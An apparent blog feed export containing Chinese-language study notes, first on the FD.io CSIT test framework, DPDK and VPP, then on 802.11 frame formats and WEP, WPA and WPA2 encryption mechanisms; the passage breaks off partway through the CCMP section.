<content type="html"><![CDATA[<p>项目目标是了解CSIT。CSIT是FD.io下的一套测试框架,而fd.io则是基于DPDK的一套集成而来的报文处理方案,其核心项目为VPP(Vector Packet Processor)。因此在了解CSIT之前,不可避免的要大概了解一下DPDK与VPP。</p><h1 id="DPDK"><a href="#DPDK" class="headerlink" title="DPDK"></a>DPDK</h1><p>网速的提升带动了数据处理速度提升的需求,传统IP层及以下采用硬件实现功能的方案出现了迭代速度慢的问题,基于软件的高性能网络IO开发框架,就是DPDK的目标。软件可以利用的新发展有:云的发展带来网络功能虚拟化、单机性能的飙升(网卡性能发展到了100G,功能却没到,不是很可惜。。)。传统收发报文方式的缺陷还有:硬中断带来耗时、内核态用户态的切换带来耗时、多核工作为全局一致带来性能损耗、网卡到业务进程的不必要路径(如netfiliter)带来性能耗损。</p><p>数据面开发套件(DPDK)采用旁路机制在用户态处理报文(UIO Userspace I/O)。下面对比一下DPDK和传统报文处理流程:</p><blockquote><p>传统报文流程:网卡-》驱动-》协议栈-》Socket接口-》业务<br>DPDK:网卡-》DPDK轮询模式-》DPDK基础库-》业务</p></blockquote><p><strong>UIO原理</strong>:<br><img src="DPDK_UIO%E5%8E%9F%E7%90%86.png" alt=""><br>稍微解读一下这张图:</p><ol><li>UIO Framework调用内核态的API,因为硬中断等只能在内核处理</li><li>用户态通过/dev/uioX读取中断</li><li>通过mmap和外设共享内存</li></ol><p><strong>DPDK轮询模式</strong><br>PMD(Poll Mode Driver)使用UIO驱动屏蔽了硬件发出中断,在用户态采用主动轮询的方式,带来Zero Copy,无系统调用的好处,同步处理减少上下文切换带来的Cache Miss。<br>为了避免网络空闲时CPU的长期空转,采用Interrupt DPDK模式,在没包时进入睡眠,与其他进程共享同个CPU内核,但是DPDK的进程优先级更高。</p><p>还有些其他的改进与机制,目前先了解到这</p><h1 id="VPP"><a href="#VPP" class="headerlink" title="VPP"></a>VPP</h1><p><a href="https://fd.io/vppproject/vpptech/" target="_blank" rel="noopener">https://fd.io/vppproject/vpptech/</a><br>VPP的主要思路就在于:向量化处理而非一个包一个包的处理,且处理流程采用插件的方式保证了高度的可拓展性。<br>从<a href="https://fd.io/vppproject/vppfeatures/" target="_blank" rel="noopener">https://fd.io/vppproject/vppfeatures/</a>中我们可以看出,VPP基本上就是基于新思路将传统网络功能全部重构了一遍。</p><h1 id="CSIT概述"><a href="#CSIT概述" class="headerlink" title="CSIT概述"></a>CSIT概述</h1><ol><li><p>CSIT()是一套对VPP代码的自动测试项目。</p></li><li><p>在物理机或虚拟机的环境下对LF FD.io中的VPP代码运行CSIT测试套件</p></li><li><p>与FD.io集成</p></li><li><p>检测FD.io项目的依赖性与相互关系</p><h2 id="项目目标"><a href="#项目目标" class="headerlink" title="项目目标"></a>项目目标</h2></li><li><p>对更改的VPP代码进行回归测试<br>对VPP数据控制平台、网络控制平台、管理平台进行功能测试<br>对VPP数据控制平台进行包括丢包率、吞吐量以及延时等性能测试<br>对VPP网络控制平台进行性能测试<br>对VPP管理平台进行性能测试</p></li><li><p>针对支持与计划的VPP功能、接口、性能定义测试用例<br>一维测试: 数据平台,网络控制平台,管理平台<br>多维测试: 用例驱动</p></li><li><p>与FD.io持续集成系统(包括Gerrit和Jenkins)集成<br>由VPP-VERIFY工作自动触发测试的执行</p></li><li><p>与LF VPP测试环境集成<br>在LF托管VM环境中执行功能测试<br>在LF托管的物理计算环境中执行性能和功能测试。<br>在运行VIRL(虚拟Internet路由实验室)的LF托管物理计算上执行的测试子集</p></li></ol><h1 id="Python库"><a href="#Python库" class="headerlink" title="Python库"></a>Python库</h1><h2 id="DMM"><a href="#DMM" class="headerlink" title="DMM"></a>DMM</h2><p>数据处理库</p><ol><li><p>DMMConstants suite</p></li><li><p>SetupDMMTest suite</p></li><li><p>SingleCliSer suite</p><h2 id="DPDK-1"><a href="#DPDK-1" class="headerlink" title="DPDK"></a>DPDK</h2><p>数据面开发套件</p></li><li><p>DPDKTools suite</p></li><li><p>L2fwdTest suite</p></li><li><p>L3fwdTest suite</p><h2 id="MLRsearch"><a href="#MLRsearch" class="headerlink" title="MLRsearch"></a>MLRsearch</h2><p>多线程搜索?</p></li><li><p>AbstractMeasurer suite</p></li><li><p>AbstractSearchAlgorithm suite</p></li><li><p>MultipleLossRatioSearch suite</p></li><li><p>NdrPdrResult suite</p></li><li><p>ReceiveRateInterval suite</p></li><li><p>ReceiveRateMeasurement suite</p><h2 id="PLRsearch"><a href="#PLRsearch" class="headerlink" title="PLRsearch"></a>PLRsearch</h2></li><li><p>Integrator suite<br>积分套件</p></li><li><p>PLRsearch suite<br>数据相关的搜索方法</p></li><li><p>log_plus suite<br>避免下溢的模块</p></li><li><p>stat_trackers suite<br>追踪数据的平均值和方差加权样本</p><h2 id="SFC"><a href="#SFC" class="headerlink" title="SFC"></a>SFC</h2></li><li><p>SFCConstants suite<br>定义了一些常量用于测试</p></li><li><p>SFCTest suite</p></li><li><p>SetupSFCTest suite</p></li><li><p>TunnelProtocol suite</p></li><li><p>VerifyPacket suite</p><h2 id="TLDK"><a href="#TLDK" class="headerlink" title="TLDK"></a>TLDK</h2></li><li><p>SetupTLDKTest suite</p></li><li><p>TLDKConstants suite</p></li><li><p>UdpTest suite</p></li><li><p>gen_pcap suite</p><h2 id="autogen"><a href="#autogen" class="headerlink" title="autogen"></a>autogen</h2></li><li><p>Regenerator suite</p></li><li><p>Testcase suite</p><h2 id="honeycomb"><a href="#honeycomb" class="headerlink" title="honeycomb"></a>honeycomb</h2></li><li><p>BGP suite</p></li><li><p>DHCP suite</p></li><li><p>FIB suite</p></li><li><p>HcAPIKwACL suite</p></li><li><p>HcAPIKwBridgeDomain suite</p></li><li><p>HcAPIKwInterfaces suite</p></li><li><p>HcAPIKwNSH suite</p></li><li><p>HcPersistence suite</p></li><li><p>HoneycombSetup suite</p></li><li><p>HoneycombUtil suite</p></li><li><p>IPv6Management suite</p></li><li><p>Lisp suite</p></li><li><p>NAT suite</p></li><li><p>Netconf suite</p></li><li><p>Notifications suite</p></li><li><p>Performance suite</p></li><li><p>ProxyARP suite</p></li><li><p>Routing suite</p><h2 id="parsers"><a href="#parsers" class="headerlink" title="parsers"></a>parsers</h2></li><li><p>9.1. JsonParser suite</p><h2 id="telemetry"><a href="#telemetry" class="headerlink" title="telemetry"></a>telemetry</h2></li><li><p>10.1. SPAN suite</p></li></ol><h1 id="Robot库"><a href="#Robot库" class="headerlink" title="Robot库"></a>Robot库</h1><p>Robot是Python语言下的一个测试框架<br>使用与了解Robot可看<a href="https://www.jianshu.com/p/c3a9d20db4e5" target="_blank" rel="noopener">https://www.jianshu.com/p/c3a9d20db4e5</a></p><h1 id="DMM功能测试"><a href="#DMM功能测试" class="headerlink" title="DMM功能测试"></a>DMM功能测试</h1>]]></content>
<summary type="html">
<p>项目目标是了解CSIT。CSIT是FD.io下的一套测试框架,而fd.io则是基于DPDK的一套集成而来的报文处理方案,其核心项目为VPP(Vector Packet Processor)。因此在了解CSIT之前,不可避免的要大概了解一下DPDK与VPP。</p>
<h1
</summary>
<category term="fd.io" scheme="https://iwannatobehappy.github.io/tags/fd-io/"/>
</entry>
<entry>
<title>无线网络协议</title>
<link href="https://iwannatobehappy.github.io/2019/12/22/%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/"/>
<id>https://iwannatobehappy.github.io/2019/12/22/%E6%97%A0%E7%BA%BF%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/</id>
<published>2019-12-21T16:02:36.000Z</published>
<updated>2020-01-02T13:13:20.336Z</updated>
<content type="html"><![CDATA[<h1 id="无线网络术语简介"><a href="#无线网络术语简介" class="headerlink" title="无线网络术语简介"></a>无线网络术语简介</h1><ul><li>无线媒介(Wireless Medium)<br>传输无线MAC帧的媒介,主要包括射频和红外两种,目前主要指射频</li><li>STA(Station)<br>具有无线网卡的设备,比如:笔记本电脑、智能手机等</li><li>AP(Access Point)<br>无线接入点,能为已经关联的STA提供DS服务</li><li>DS(Distributed System)<br>一种用于将一组基本服务集(BSS)和集成局域网(LAN)互连以创建扩展服务集(ESS)的系统。</li><li>SS (Service set),服务集<br>服务集是一组使用相同网络参数运行的无线网络设备。</li><li>BSS(Basic Service Set),基本服务集<br>基本服务集是具有相同介质访问特性(即射频、调制方案等)的设备单元,<br>包括: Independent BSS和Infrastructure </li><li>BSSIndependent BSS<br>简称IBSS,联网无需AP参与,又称为ad-hoc BSS或者自组网络。</li><li>Infrastructure BSS<br>一般来说,BSS就是指Infrastructure BSS,需要AP参与来构建网络。</li></ul><h1 id="WLAN工作原理"><a href="#WLAN工作原理" class="headerlink" title="WLAN工作原理"></a>WLAN工作原理</h1><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><ul><li>AP周期性发送Beacon帧,用于宣布其网络的存在和网络参数</li><li>STA发送Probe Request帧主动探测某个AP</li><li>STA发送认证请求,AP回复认证响应</li><li>如果通过认证,STA发送关联请求,AP回复关联响应,实现STA和AP的关联</li><li>STA和AP之间传输数据帧</li></ul><h2 id="基础数据帧格式"><a href="#基础数据帧格式" class="headerlink" title="基础数据帧格式"></a>基础数据帧格式</h2><p>WLAN由 IEEE 802.11定义,规范了MAC子层和PHY层。MAC子层体现为帧,因此需要了解802.11的帧格式<br><img src="802_11%E5%B8%A7%E6%A0%BC%E5%BC%8F.png" alt=""></p><ul><li>MAC Header:包括帧控制(Frame Control)、时长(Duration)、地址(Address)等</li><li>Frame Body:代表数据域。这部分内容的长度可变,其具体存储的内容由帧类型(type)和子类型(subtype)决定</li><li>FCS:(Frame Check Sequence,帧校验序列)用于保障帧数据的完整性<br><img src="QoS%E6%95%B0%E6%8D%AE%E5%B8%A7%E6%A0%BC%E5%BC%8F.png" alt=""><br>如果是QoS(Quality of Service)数据帧,还需要附加QoS Control字段。<br>如果是HT(High Throughput,一种用于提高无线网络传输速率的技术)数据帧,还需要附加HT Control字段。</li></ul><p>下面详细介绍报文中的字段</p><ul><li><p>Frame Control字段<br><img src="Frame_Control%E5%AD%97%E6%AE%B5.png" alt=""><br><strong>Protocol Version</strong>:代表802.11 MAC的版本号。目前的值是0。<br><strong>Type和Subtype</strong>:这两个字段用于指明MAC帧的类型。802.11中MAC帧可划分为三种类型,分别是control、data和management,每种类型的帧用于完成不同功能。具体如下图:<br> <img src="types_subtype.png" alt=""><br><strong>To DS和From DS</strong>:只用在数据类型的帧中。<br><strong>More Fragments</strong>:表明数据是否分片。只支持data和management帧类型。<br><strong>Retry</strong>:如果该值为1,表明是重传包。<br><strong>Power Management</strong>:表明发送该帧的STA处于活跃模式还是处于省电模式。<br><strong>More Data</strong>:和省电模式有关。AP会为那些处于省电模式下的STA缓冲一些数据帧,而STA会定时查询是否有数据要接收。该参数表示AP中还有缓冲的数据帧。如果该值为0,表明STA已经接收完数据帧了。<br><strong>Protected Frame</strong>:表明数据是否加密。<br><strong>Order</strong>:指明接收端必须按顺序处理该帧。</p></li><li><p>地址域<br>MAC帧头中包含四种地址类型:</p><ul><li>Destination Address(DA):用来描述MAC数据帧最终接收者(final recipient),可以是单播或组播地址。</li><li>Source Address(SA):用来描述最初发出MAC数据帧的STA地址。一般情况下都是单播地址。</li><li>Transmitter Address(TA):用于描述将MAC数据帧发送到无线媒介的实体的地址,可以是STA或者AP。</li><li>Receiver Address(RA):用于描述接收MAC数据帧的接收者地址,可以是STA或者AP。</li></ul><p>MAC帧头中包含四个地址域,其用法与FrameControl域中To/From DS flags相关:</p><table><thead><tr><th>To DS</th><th>From DS</th><th>含义</th></tr></thead><tbody><tr><td>0</td><td>0</td><td>在同一IBSS中,从一个STA发给另一个STA的数据帧、管理帧或者控制帧</td></tr><tr><td>0</td><td>1</td><td>从一个DS出去的数据帧(AP向STA传递)</td></tr><tr><td>1</td><td>0</td><td>发往一个DS的数据帧(STA向AP传递)</td></tr><tr><td>1</td><td>1</td><td>从一个AP发往另一个AP的无线分布式系统帧(无线桥接模式)</td></tr></tbody></table><p>原则是Address 1表示Receiver Address (RA),Address 2表示 Transmitter Address( TA),是发送器的地址,Address 3辅助用于接收器用来过滤的, Address 4用于无线桥接或Mesh BSS网络中。<br>下面给出相应的地址域用法:</p><table><thead><tr><th>To DS</th><th>From DS</th><th>Address 1</th><th>Address 2</th><th>Address 3</th><th>Address 4</th></tr></thead><tbody><tr><td>0</td><td>0</td><td>RA=DA</td><td>TA=SA</td><td>BSSID</td><td></td></tr><tr><td>0</td><td>1</td><td>RA=DA</td><td>TA=BSSID</td><td>SA</td><td></td></tr><tr><td>1</td><td>0</td><td>RA=BSSID</td><td>TA=SA</td><td>DA</td><td></td></tr><tr><td>1</td><td>1</td><td>RA</td><td>TA</td><td>DA</td><td>SA</td></tr></tbody></table><p>看了上面两张表,肯定还是懵逼的。下面来看3个例子。好好体会SA、TA、DA和RA具体所指的意思。理解生成数据包和发送到无线媒介两个不同的地址区别,接收数据包和数据包目的地两个不同的地址区别。<br><img src="%E5%9C%B0%E5%9D%80%E5%9F%9Fcase1.png" alt=""><br><img src="%E5%9C%B0%E5%9D%80%E5%9F%9Fcase2.png" alt=""><br><img src="%E5%9C%B0%E5%9D%80%E5%9F%9Fcase3.png" alt=""><br>还没懂吗?那就多看几遍,SA生成,TA发送,RA接收,DA处理。一般来说都有重合,所以Address4只有最后一种情况会被使用。</p></li><li><p>Sequence Control<br>Sequence Control域长16位,前4位表示分片编号FN,后12位为帧顺序编号SN<br><strong>Fragment Number</strong>:用于控制分片帧。如果数据量过大,则MAC层会将其分片发送。每个分片帧都有对应的分片编号。<br><strong>Sequence Number</strong>:STA每次发送数据帧时都会设置一个帧顺序编号,控制帧没有帧顺序编号,重传帧不使用新的帧顺序编号。</p></li></ul><h2 id="控制帧"><a href="#控制帧" class="headerlink" title="控制帧"></a>控制帧</h2><p>Frame Control的Type字段区分了802.11中三种帧类型,分别是控制帧、管理帧和数据帧。<br>控制帧得名于媒体访问控制( Media AccessControl, MAC),用来控制对通信媒体的访问。控制帧通常与数据帧搭配使用,负责区域的清空、信道的取得以及载波监听的维护,并于收到数据时予以的应答,借此促进工作站间数据传输的可靠性。<br>下面介绍四种控制帧,其功能各不相同。</p><h3 id="RTS(Request-To-Send)"><a href="#RTS(Request-To-Send)" class="headerlink" title="RTS(Request To Send)"></a>RTS(Request To Send)</h3><p>RTS用于申请无线媒介的使用时间,值为Duration,单位为微秒。其数据帧格式如下图所示(替代之前介绍的数据帧格式)<br><img src="%E6%8E%A7%E5%88%B6%E5%B8%A7RTS.png" alt=""></p><h3 id="CTS(Clear-To-Send)"><a href="#CTS(Clear-To-Send)" class="headerlink" title="CTS(Clear To Send)"></a>CTS(Clear To Send)</h3><p>用于回复RTS帧。另外它被802.11g保护机制用来避免干扰旧的STA。其数据帧格式与ACK相同。</p><h3 id="ACK"><a href="#ACK" class="headerlink" title="ACK"></a>ACK</h3><p>802.11中,MAC以及任何数据的传输都需要得到确认。这些数据包括普通的数据传输、RTS/CTS交换之前帧以及分片帧。<br><img src="%E6%8E%A7%E5%88%B6%E5%B8%A7CTS_ACK.png" alt=""></p><h3 id="PS-POLL"><a href="#PS-POLL" class="headerlink" title="PS-POLL"></a>PS-POLL</h3><p>该控制帧被STA用于从AP中获取因省电模式而缓存的数据。当一部移动工作站从省电模式中苏醒,便会发送一个 PS-Poll 帧给基站,以取得任何暂存帧。其中AID的值是STA和AP关联时,由AP赋给该STA的。<br><img src="%E6%8E%A7%E5%88%B6%E5%B8%A7PS_POLL.png" alt=""></p><h2 id="管理帧"><a href="#管理帧" class="headerlink" title="管理帧"></a>管理帧</h2><p>管理帧用于管理无线网络,如节点的加入和退出无线网络等。802.11规范里面共定义了15种管理帧,携带的信息很复杂,其中定长字段有42种,信息元素有120种。<br><img src="%E7%AE%A1%E7%90%86%E5%B8%A7%E6%A0%BC%E5%BC%8F.png" alt=""><br>管理帧包括MAC Header (6个字段),Frame Body和FCS,其中Frame Body携带具体的管理信息数据。<br>管理信息数据包括:</p><ul><li>定长字段(Fixed Field)</li><li>信息元素(Information Element)<h3 id="定长字段"><a href="#定长字段" class="headerlink" title="定长字段"></a>定长字段</h3><ul><li>Authentication Algorithm Number:2个byte,用于说明认证过程中所使用的认证类型</li><li>0:代表开放系统身份认证(Open SystemAuthentication)。</li><li>1:代表共享密钥身份认证(Shared KeyAuthentication)。</li><li>2:代表快速BSS切换(Fast BSS Transition)。</li><li>3:代表SAE(Simultaneous Authentication ofEquals)。用于两个STA互相认证的方法,常用于Mesh BSS网络。</li><li>65535:代表厂商自定义算法。</li><li>Beacon Interval field:该字段占2字节。每隔一段时间AP就会发出Beacon信号用来宣布无线网络的存在。该信号包含了BSS参数等重要信息。所以STA必须要监听Beacon信号。</li><li>Beacon Interval field字段用来表示Beacon信号之间间隔的时间,其单位为Time Units(规范中缩写为TU。注意,一个TU为1024微秒。这里采用2作为基数进行计算)。一般该字段会设置为100个TU。</li><li>Capability Information(性能信息):该字段长2字节,一般通过Beacon帧、ProbeRequest和Response帧携带它。该字段用于宣告此网络具备何种功能。2字节中的每一位(共16位)都用来表示网络是否拥有某项功能</li></ul></li></ul><h3 id="常用管理帧——Beacon帧"><a href="#常用管理帧——Beacon帧" class="headerlink" title="常用管理帧——Beacon帧"></a>常用管理帧——Beacon帧</h3><p>AP通过定时发送Beacon帧来声明某个无线网络,STA通过接收到的Beacon帧来感知当前存在的无线网络。Beacon帧就是某个无线网络的心跳帧,主要携带如下信息:Timestamp、Beacon Interval、Capability、SSID</p><h3 id="802-11常用管理帧:Probe-Request-Response帧"><a href="#802-11常用管理帧:Probe-Request-Response帧" class="headerlink" title="802.11常用管理帧:Probe Request/Response帧"></a>802.11常用管理帧:Probe Request/Response帧</h3><p>STA用Probe Request帧来搜索周围的无线网络,包括的信息: SSID 、 Supported Rates 、Extended Supported Rates。<br>AP收到Probe Request帧后,会以Probe Response 帧进行响应,该帧携带的信息和Beacon帧类似.</p><h3 id="802-11常用管理帧:Association-Request帧"><a href="#802-11常用管理帧:Association-Request帧" class="headerlink" title="802.11常用管理帧:Association Request帧"></a>802.11常用管理帧:Association Request帧</h3><p>当STA要关联某个AP时,发送AssociationRequest帧。该帧携带的主要信息如下:</p><ul><li>Capability:AP将检查该字段判断STA是否满足要求</li><li>Listen Interval:AP将根据该值分配PS时所需的缓冲区</li><li>SSID:AP将检查SSID是否为自己所在网络</li><li>Supported Rates: AP将检查该字段是否满足要求</li></ul><h3 id="802-11常用管理帧:Association-Response帧"><a href="#802-11常用管理帧:Association-Response帧" class="headerlink" title="802.11常用管理帧:Association Response帧"></a>802.11常用管理帧:Association Response帧</h3><p>针对Association Request帧,AP会回复一个Association Response帧来通知关联请求的处理结果,主要包括如下信息:</p><ul><li>Capability: AP设置的Capability</li><li>Status Code: AP返回的关联请求处理结果</li><li>AID:AP返回关联ID给STA</li><li>Supported Rates: AP支持的传输速率</li></ul><h3 id="802-11常用管理帧:authentication帧"><a href="#802-11常用管理帧:authentication帧" class="headerlink" title="802.11常用管理帧:authentication帧"></a>802.11常用管理帧:authentication帧</h3><p>Authentication帧用于进行身份认证,主要包括如下信息:</p><ul><li>Authentication Algorithm Number: 认证算法类型</li><li>Authentication Transaction Sequence Number: 认证过程可能需要好几次帧交换,所以每个帧都有自己的编号</li><li>Status Code: 有些类型的认证会使用该值返回结果</li><li>Challenge Text: 有些类型的认证会使用该字段</li></ul><h2 id="数据帧"><a href="#数据帧" class="headerlink" title="数据帧"></a>数据帧</h2><p>用来携带上层协议数据(如IP数据包),负责在工作站之间传输数据。格式即为基础的帧格式。</p><h1 id="WLAN安全综述"><a href="#WLAN安全综述" class="headerlink" title="WLAN安全综述"></a>WLAN安全综述</h1><p>WLAN安全的发展经历了多个阶段。</p><ul><li>WEP(Wired Equivalent Privacy),即<strong>有线等效保密</strong>,目的是达到和有线网络相同的安全性。</li><li>WPA(Wi-Fi Protected Access),实现了802.11i草案的一个子集,只需要更新固件,不需要更新硬件即可实现</li><li>WPA2(Wi-Fi Protected Access II),实现了802.11i规范</li><li>WPA3(Wi-Fi Protected Access III),更强的安全算法,GCMP,ECDH,……</li></ul><h1 id="WEP(Wired-Equivalent-Privacy)"><a href="#WEP(Wired-Equivalent-Privacy)" class="headerlink" title="WEP(Wired Equivalent Privacy)"></a>WEP(Wired Equivalent Privacy)</h1><p>有线等效保密提供了<strong>身份认证</strong>、<strong>保密性</strong>、<strong>完整性</strong>三种安全服务。然而,在后面我们会分析出其保密性并不可靠。</p><h2 id="身份认证"><a href="#身份认证" class="headerlink" title="身份认证"></a>身份认证</h2><h3 id="开放系统认证"><a href="#开放系统认证" class="headerlink" title="开放系统认证"></a>开放系统认证</h3><p>流程非常简单,一个认证请求之后就是连接请求。<br><img src="%E5%BC%80%E6%94%BE%E7%B3%BB%E7%BB%9F%E8%AE%A4%E8%AF%81.png" alt=""></p><h3 id="基于PSK的身份认证"><a href="#基于PSK的身份认证" class="headerlink" title="基于PSK的身份认证"></a>基于PSK的身份认证</h3><p>STA发起认证请求后,AP返回一个明文challenge(在AH字段中),STA加密后返回密文让AP去验证,让我感到神奇的事……这个认证不是STA发起的吗?功能上怎么像是AP在认证STA是否真实??<br><img src="PSK%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81.png" alt=""></p><h2 id="WEP加密"><a href="#WEP加密" class="headerlink" title="WEP加密"></a>WEP加密</h2><p>协议仅对数据帧内的Framebody进行加密,其中加密前的明文被称为MSDU,加密后则称为MPDU。加密的格式和流程可以用下图很好的展示出来。<br><img src="WEP%E5%8A%A0%E5%AF%86%E6%A0%BC%E5%BC%8F.png" alt=""><br><img src="WEP%E5%8A%A0%E5%AF%86%E6%B5%81%E7%A8%8B.png" alt=""><br>解密流程只需要逆着来一遍就好了,重点来了,这个WEP的加密,非常,非常,<strong>不安全</strong>:<br>一种攻击是针对RC4的FMS攻击,这个似乎比较高大上,直接去查论文好了。<code>Attackers can recover the RC4 key after eavesdropping on the network.</code><br>另一种攻击就比较直接了,因为IV是明文传输的,WEP key(WiFi密码)又是一样的,直接导致密钥流对于同一wifi下的其他STA是透明的,明文也就直接被破解了……</p><h1 id="WPA-Wireless-Protected-Access"><a href="#WPA-Wireless-Protected-Access" class="headerlink" title="WPA(Wireless Protected Access)"></a>WPA(Wireless Protected Access)</h1><p>WEP的不安全催生了WPA,但是WPA也只是802.11i草稿中初步的实现。其使用的加密手段称为TKIP。TKIP的总流程如下所示(这张图看不清楚,后面细分为三部分的图就清楚了。<br><img src="TKIP%E6%80%BB%E6%B5%81%E7%A8%8B.png" alt=""></p><h2 id="TKIP加密过程"><a href="#TKIP加密过程" class="headerlink" title="TKIP加密过程"></a>TKIP加密过程</h2><p><img src="TKIP%E5%8A%A0%E5%AF%86%E6%B5%81%E7%A8%8B.png" alt=""><br>对照WEP,改变的地方包括:<br>1、WEP Seed的生成从简单的生成变成了我们之后要单独说的样子<br>2、Plaintext MPDU的生成从简单的生成变成了我们之后要单独说的样子<br>3、帧封装。WEP在MAC Header后面紧随4-octet的IV字段,然后是加密的MSDU||ICV;TKIP的MAC Header后面紧随8个octet的(IV||Extended IV),然后是加密的MSDU||MIC||ICV。</p><h2 id="Plaintext-MPDU生成"><a href="#Plaintext-MPDU生成" class="headerlink" title="Plaintext MPDU生成"></a>Plaintext MPDU生成</h2><p><img src="TKIP_MPDU%E7%94%9F%E6%88%90.png" alt=""><br>内容也较为好懂,重点就在于MIC key,它是从TK中取出来的指定64位。然后是MIC算法。</p><h3 id="MIC计算"><a href="#MIC计算" class="headerlink" title="MIC计算"></a>MIC计算</h3><p>TKIP 使用称为 Michael 算法的 Keyed Hash function来生成MIC。Michael的输入为64比特key和任意长度的消息,输出为64比特的Michael值。<br><strong>MIC Key:</strong><br>如果是AP发送给STA,则为TK的128 - 191比特<br>如果是STA发送给AP,则为TK的192 - 255比特</p><h2 id="WEP-Seed生成"><a href="#WEP-Seed生成" class="headerlink" title="WEP Seed生成"></a>WEP Seed生成</h2><p><img src="WEP_Seed%E7%94%9F%E6%88%90.png" alt=""><br><strong>TSC0-TSC5</strong>: TSC0-TSC5 分 别 代 表 TSC ( TKIP SequenceCounter)的每个字节。TSC是TKIP中的一个计数生成器,它会为每一个MPDU递增的生成一个6字节的TSC序列号,用于抗重放攻击。<br><strong>TK(Temporal Key)</strong>:临时密钥,它是从PTK或者GTK派生而来的<br><strong>TA(Transmitter Address)</strong>:一般是指AP的MAC地址</p><h1 id="WPA2"><a href="#WPA2" class="headerlink" title="WPA2"></a>WPA2</h1><p>仔细想一想,WPA就像是在WEP上面套了一层壳(更新生成seed方法,更新生成MPDU方法),有没有面目全非一点的加密方法呢?答案是有的,WPA2使用了CCMP作为新的加密方法,首先介绍CCM(Counter with CBC-MAC)</p><h2 id="CCM"><a href="#CCM" class="headerlink" title="CCM"></a>CCM</h2><p>CCM是一种通用的认证加密分组密码模式,仅定义为使用128比特的分组长度,比如采用AES。但是,根据CCM的设计原理,CCM也可以用于其他分组长度。<br>对于通用的CCM模式来说,需要两个参数选择。第一个选择是<strong>M</strong>,指认证字段的长度,有效值包括4、6、8、10、12、14和16个octets。CCMP选择M为8。第二个选择是<strong>L</strong>,指length字段的长度,L的有效值介于2到8个octets(L=1保留用)。CCMP选择L为2。</p><h3 id="CCM输入"><a href="#CCM输入" class="headerlink" title="CCM输入"></a>CCM输入</h3><ol><li>适合分组密码的加密密钥<strong>K</strong></li><li>长度为15-L的Nonce <strong>N</strong>。在任何加密密钥K的使用期限内,Nonce不能重复使用。</li><li>消息<strong>m</strong>,包含l(m)个octets,0 <= l(m) < 2^(8L)。长度限制确保了l(m)能被编码到L个octets的字段中。</li><li>附加认证数据<strong>a</strong>,由l(a)个octets组成,0 <= l(a)< 2^64。附加认证数据会被认证但是不加密,附加数据也不包括在这种模式的输出。可以用于认证包头的明文字段,对理解消息有影响的上下文信息。</li></ol><h3 id="CCM认证"><a href="#CCM认证" class="headerlink" title="CCM认证"></a>CCM认证</h3><p><img src="CCM%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B.png" alt=""><br>K就是前述的密钥了,B_0~B_n则是如下生成的,最终MAC值<strong>T</strong>取<strong>X_n+1</strong>中前M字节。<br><strong>B_0</strong>:<br><img src="CCM%E8%AE%A4%E8%AF%81B_0.png" alt=""></p><ul><li>Flags<br>第7比特保留为将来扩展用,设置为0。<br>第6比特为Adata比特,如果l(a) = 0,则Adata为0,表示没有附加认证数据;反之,如果l(a)> 0,则Adata为1,表示有附加认证数据。<br>第5到3比特为M’,设置为(M-2)/2。<br>第2到0比特为L’,设置为L-1。L和M要是记不得是啥了,可以看看CCM的参数。</li><li><em>B_1~B_n*</em><br>如果Adata为1,则表示有附加认证数据,其构成为:l(a)||a,也就是l(a)与a的拼接,然后对拼接的结果按一个分组16字节进行分割,必要时需对最后一个分组添加0x00以补齐16字节。这些分组分别为B_1,B_2,……,也就是B_0后面的分组。注意,这里的l(a)部分是对l(a)(也就是a的长度)本身的编码。</li></ul><h3 id="CCM加密"><a href="#CCM加密" class="headerlink" title="CCM加密"></a>CCM加密</h3><p><strong>密钥流生成</strong><br>加密过程是采用CTR模式,首先定义密钥流分组为:<br>S_i := E(K,A_i),其中E为加密算法,i为0,1,2,……<br><img src="CCM%E5%AF%86%E9%92%A5%E6%B5%81%E7%94%9F%E6%88%90.png" alt=""><br><strong>加密</strong><br><img src="CCM%E5%8A%A0%E5%AF%86%E6%B5%81%E7%A8%8B.png" alt=""><br>加密过程即为简单的明文分组异或密钥流分组。但是注意,<strong>S_0不参与加密明文</strong><br>S_0用于计算认证值:<code>U := T XOR first-M-bytes( S_0)</code>,U为认证值而T为MAC值</p><p>最终输出为加密消息和U</p><h2 id="CCMP"><a href="#CCMP" class="headerlink" title="CCMP"></a>CCMP</h2><p>CCM没读懂的话可以多读几遍,我们可以发现CCM并没有管你用什么加密方式E,他只是给出了一种加密方式的运用,即,如何用固定的加密长度拓展为对任意长度明文的加密。在CCMP中,这种加密方式被具化为AES,128bit。<br>CCMP针对MPDU进行安全处理,对MSDU提供<strong>保密性</strong>,同时对MSDU和MAC Header的部分字段做<strong>完整性保护</strong>。<br><img src="CCMP.png" alt=""></p><h3 id="CCMP输入"><a href="#CCMP输入" class="headerlink" title="CCMP输入"></a>CCMP输入</h3><p>MAC header:802.11 MAC 头部<br>plaintext Data(MSDU): 需要发送的playload<br>PN(packet number): 长度48bit,与TKIP中的TSC(TKIP Sequence Counter )相似,是每个帧的标识,它会随着帧的发送过程不断递增,用于抗重放攻击。<br>TK(Temporal Key):和TKIP加密一样,CCMP也有一个128bit的TK。(在后面密钥管理部分详述)<br>Key ID: 和TKIP中的一样,用于指定加密用的key,这个ID是index的缩写。<br>Nonce:是一个随机数,长104bit,是由PN (packet number , 48bit), Qos 中的优先级字段(8bit)和TA(Transmitter Address , 48bit)这三个字段组合来。<br>AAD (Additional Authentication Data ):由MPUD的头部构建而来,用于确保MAC头部的数据完整性,接收端会使用这个字段来校验MAC头部。</p><p><strong>Create Packet Number</strong>:需要发送一个新的MPDU时,会重新创建一个48bit的PN;如果是重传的MPDU,则使用原来发送MPDU的PN。</p><p><strong>Create Additional Authentication Data</strong><br><img src="CCMP_AAD.png" alt=""><br>使 用 MPDU 的 头 部 构 建 AAD (AdditionalAuthentication Data)<br>AAD由MAC Header的上述字段构成,其中部分字段的部分比特可能设置为0。根据帧的类型不同,A4和QC字段可能没有,比如管理帧是没有QC字段的。<br>因为AAD作为计算MIC值的输入,因此确保了MAC Header部分字段的完整性。</p><p><strong>Create Nonce</strong><br>由PN(packet number,48bit), Qos中的优先级字段(8bit)和TA(transmitter address , 48bit,Address 2)这三个字段组合生成一个Nonce。</p><p><strong>Create CCMP 